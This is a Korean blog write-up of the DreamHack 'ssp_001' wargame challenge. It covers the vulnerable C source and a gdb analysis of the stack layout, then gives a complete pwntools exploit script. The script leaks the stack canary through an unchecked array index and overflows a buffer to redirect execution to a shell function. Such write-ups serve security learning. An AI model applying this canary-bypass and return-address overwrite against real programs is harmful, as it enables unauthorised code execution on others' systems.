본문 바로가기

DreamHack: System Hacking/F Stage 6

[혼자 실습] ssp_001

 

소스코드

// ssp_001

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}

int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();

    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}

스케치:

Step 1) ebp와 box 사이의 offset을 안다면 case 'P'의 print_box 함수를 이용하여 canary를 1byte씩 Leak 시킬 수 있을 것이다.

Step 2) 그 후 case 'E'에서 얻어낸 Canary를 이용하여 Canary 보호기법을 우회한 뒤 Return Address를 get_shell()로 옮겨, get_shell()이 실행되게 하면 shell을 획득할 수 있을 것이다.

 

Step 1. main함수의 Stack Frame 구조 파악

1) 함수 프롤로그가 일어난 후 <main+3>에서 4byte 크기의 dummy(edi)가 푸쉬된 것을 확인할 수 있다.

2) 그리고, main Stack Frame의 크기가 0x94(148byte) 크기인 것 또한 <main+4>에서 확인할 수 있다.

 

3) gs:[0x14]에 있는 canary값이 eax에 저장되고, 이 eax값이 ebp-8에 푸시(==Canary)된다.

 

4) ebp<->select의 offset은 0x8a(138)임을 확인할 수 있다

 

 

5) ebp와 box 사이의 offset을 알아내기 위해 case 'F'로 진입한다. 이를 위해 <main+135>에 break point를 설정하고 run 해준다. <main+138>에서 eax의 값과 0x48('F')이 같으면 <main+155>(==case 'F')로 jump되는 것을 확인할 수 있다.

그리고 case 'F'에서 read를 통해 box에 값을 넣어줄 때 ebp-0x88에 넣어주는 것을 확인할 수 있다. 이를 통해 ebp<->box offset이 0x88(136)임을 확인할 수 있다.

 

6) 5에서와 같은 방법으로 case 'P'로 진입한 뒤 <main+205>에서 ebp<->idx의 offset을 구해보면 offset이 0x94(148)임을 확인할 수 있다.

 

7) 위와 같은 방법으로 case 'E'에 진입한다. scanf 함수가 실행되는 것을 통해 <main+262>에서 ebp<->name_len의 offset이 0x90(144)임을 확인할 수 있다.

 

8) 그리고 case 'E' 안에서 printf 이후 read 함수가 실행되는 것을 통해 ebp<->name의 offset을 구할 수 있다. <main+302>를 통해 ebp<->name의 offset이 0x48(72)임을 확인할 수 있다.

 

1~8까지의 정보를 종합하여 main()의 Stack Frame 구조를 정리해보면 다음과 같다. 

 

Step 2. Canary Leak & get_shell()의 주소 구하기 

1) case 'P' 에서는 box[idx]를 출력해주므로 오버플로우를 이용하여 idx값에 128, 129, 130, 131을 넣어주면 Canary 값을 획들할 수 있을 것이다.

2) 이제 pwndbg를 이용하여 우리의 목표인 get_shell()의 주소는 '0x080486b9'임을 확인할 수 있다.

 

Step 3. 익스플로잇 구현

case 'P'를 이용하여 Canary를 획득한 후 이를 이용하여 case 'E'에서 name_len에 충분히 큰 값을 주고 name에 값을 입력하는 것을 통해 Buffer Overflow를 이용하여 Return Address를 get_shell()로 옮겨주면 성공적으로 shell을 획득할 수 있을 것이다

 

pwntools를 이용하여 짠 익스플로잇 코드는 다음과 같다

 

########## ssp_001.py ##########

from pwn import *
context.arch = "i386"

p = remote('host3.dreamhack.games', 22650)
canary = b""

p.sendlineafter(b'> ', b'P')
p.sendlineafter(b'index : ', b'131')
p.recvuntil(b'is : ')
canary = canary + p.recvn(2)

p.sendlineafter(b'> ', b'P')
p.sendlineafter(b'index : ', b'130')
p.recvuntil(b'is : ')
canary = canary + p.recvn(2)

p.sendlineafter(b'> ', b'P')
p.sendlineafter(b'index : ', b'129')
p.recvuntil(b'is : ')
canary = canary + p.recvn(2)

p.sendlineafter(b'> ', b'P')
p.sendlineafter(b'index : ', b'128')
p.recvuntil(b'is : ')
canary = canary + p.recvn(2)

canary = int(canary, 16)

print(p32(canary))

payload = b'A'*64 + p32(canary) + b'B'*8 + b'\xb9\x86\x04\x08'
p.sendlineafter('> ', b'E')
p.sendlineafter('Size : ', b'100')
p.sendlineafter('Name : ', payload)

p.interactive()

 

그리고 이를 실행시켜보면 성공적으로 shell을 획득했음을 확인할 수 있다.

'DreamHack: System Hacking > F Stage 6' 카테고리의 다른 글

Exploit Tech: Return to Shellcode  (0) 2023.05.05
Mitigation: Stack Canary  (0) 2023.05.05